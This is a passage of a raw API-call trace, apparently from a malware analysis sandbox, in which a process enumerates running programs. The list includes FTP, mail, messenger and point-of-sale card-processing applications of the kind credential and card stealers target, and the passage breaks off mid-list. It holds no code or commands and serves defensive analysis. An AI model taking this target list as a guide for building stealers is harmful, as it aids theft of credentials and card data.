[0089.842] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.842] lstrlenW (lpString="svchost.exe") returned 11 [0089.843] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0089.843] lstrlenW (lpString="taskhostw.exe") returned 13 [0089.843] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x44, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0089.844] lstrlenW (lpString="explorer.exe") returned 12 [0089.844] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0089.844] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0089.844] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0089.845] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0089.845] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0089.845] lstrlenW (lpString="Memory Compression") returned 18 [0089.845] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0089.846] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0089.846] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0089.846] lstrlenW (lpString="SearchUI.exe") returned 12 [0089.846] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0089.847] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0089.847] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0089.847] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0089.847] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="furholdtopics.exe")) returned 1 [0089.848] lstrlenW (lpString="furholdtopics.exe") returned 17 [0089.848] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sensors conjunction petition.exe")) returned 1 [0089.848] lstrlenW (lpString="sensors conjunction petition.exe") returned 32 [0089.848] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="until_commit.exe")) returned 1 [0089.849] lstrlenW (lpString="until_commit.exe") returned 16 [0089.849] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cablesdiscussed.exe")) returned 1 [0089.849] lstrlenW (lpString="cablesdiscussed.exe") returned 19 [0089.849] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="unavailable cricket postcard.exe")) returned 1 [0089.850] lstrlenW (lpString="unavailable cricket postcard.exe") returned 32 [0089.850] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lexmark.exe")) returned 1 [0089.850] lstrlenW (lpString="lexmark.exe") returned 11 [0089.850] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cj_antenna_alone.exe")) returned 1 [0089.851] lstrlenW (lpString="cj_antenna_alone.exe") returned 20 [0089.851] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dryer-pocket.exe")) returned 1 [0089.851] lstrlenW (lpString="dryer-pocket.exe") returned 16 [0089.852] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="delete disable changing.exe")) returned 1 [0089.852] lstrlenW (lpString="delete disable changing.exe") returned 27 [0089.852] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sitemap instructors tide.exe")) returned 1 [0089.853] lstrlenW (lpString="sitemap instructors tide.exe") returned 28 [0089.853] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="underwear.exe")) returned 1 [0089.853] lstrlenW (lpString="underwear.exe") returned 13 [0089.853] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear-hearings.exe")) returned 1 [0089.854] lstrlenW (lpString="dear-hearings.exe") returned 17 [0089.854] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0089.854] lstrlenW (lpString="dllhost.exe") returned 11 [0089.854] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="risks_lows_nickel.exe")) returned 1 [0089.855] lstrlenW (lpString="risks_lows_nickel.exe") returned 21 [0089.855] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="physiologyconfirmedthursday.exe")) returned 1 [0089.855] lstrlenW (lpString="physiologyconfirmedthursday.exe") returned 31 [0089.855] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="testimonials counsel.exe")) returned 1 [0089.856] lstrlenW (lpString="testimonials counsel.exe") returned 24 [0089.856] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="retrievedsocietyuniv.exe")) returned 1 [0089.856] lstrlenW (lpString="retrievedsocietyuniv.exe") returned 24 [0089.856] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss alternatives plots.exe")) returned 1 [0089.857] lstrlenW (lpString="boss alternatives plots.exe") returned 27 [0089.857] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="towers world.exe")) returned 1 [0089.857] lstrlenW (lpString="towers world.exe") returned 16 [0089.857] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coaching indian.exe")) returned 1 [0089.858] lstrlenW (lpString="coaching indian.exe") returned 19 [0089.858] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="goal assumed.exe")) returned 1 [0089.859] lstrlenW (lpString="goal assumed.exe") returned 16 [0089.859] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0089.860] lstrlenW (lpString="3dftp.exe") returned 9 [0089.860] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0089.860] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0089.861] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0089.861] lstrlenW (lpString="alftp.exe") returned 9 [0089.861] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0089.862] lstrlenW (lpString="barca.exe") returned 9 [0089.862] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0089.863] lstrlenW (lpString="bitkinex.exe") returned 12 [0089.863] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0090.449] lstrlenW (lpString="coreftp.exe") returned 11 [0090.450] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0090.450] lstrlenW (lpString="far.exe") returned 7 [0090.450] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0090.451] lstrlenW (lpString="filezilla.exe") returned 13 [0090.451] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0090.452] lstrlenW (lpString="flashfxp.exe") returned 12 [0090.452] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0090.453] lstrlenW (lpString="fling.exe") returned 9 [0090.453] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0090.454] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0090.454] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0090.455] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0090.455] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0090.456] lstrlenW (lpString="icq.exe") returned 7 [0090.456] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0090.457] lstrlenW (lpString="leechftp.exe") returned 12 [0090.457] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0090.458] lstrlenW (lpString="ncftp.exe") returned 9 [0090.458] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0090.459] lstrlenW (lpString="notepad.exe") returned 11 [0090.459] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0090.460] lstrlenW (lpString="operamail.exe") returned 13 [0090.460] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0090.460] lstrlenW (lpString="pidgin.exe") returned 10 [0090.460] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0090.461] lstrlenW (lpString="scriptftp.exe") returned 13 [0090.462] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0090.462] lstrlenW (lpString="skype.exe") returned 9 [0090.462] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0090.463] lstrlenW (lpString="smartftp.exe") returned 12 [0090.463] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0090.464] lstrlenW (lpString="thunderbird.exe") returned 15 [0090.464] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0090.465] lstrlenW (lpString="totalcmd.exe") returned 12 [0090.465] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0090.466] lstrlenW (lpString="trillian.exe") returned 12 [0090.466] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0090.467] lstrlenW (lpString="webdrive.exe") returned 12 [0090.467] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0090.468] lstrlenW (lpString="whatsapp.exe") returned 12 [0090.468] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0090.468] lstrlenW (lpString="winscp.exe") returned 10 [0090.468] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0090.469] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0090.469] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0090.470] lstrlenW (lpString="active-charge.exe") returned 17 [0090.470] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0090.471] lstrlenW (lpString="accupos.exe") returned 11 [0090.471] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0090.472] lstrlenW (lpString="afr38.exe") returned 9 [0090.472] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0090.472] lstrlenW (lpString="aldelo.exe") returned 10 [0090.473] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0090.473] lstrlenW (lpString="ccv_server.exe") returned 14 [0090.473] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0090.474] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0090.474] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0090.475] lstrlenW (lpString="creditservice.exe") returned 17 [0090.475] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0090.476] lstrlenW (lpString="edcsvr.exe") returned 10 [0090.476] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0090.476] lstrlenW (lpString="fpos.exe") returned 8 [0090.477] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0090.477] lstrlenW (lpString="isspos.exe") returned 10 [0090.477] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 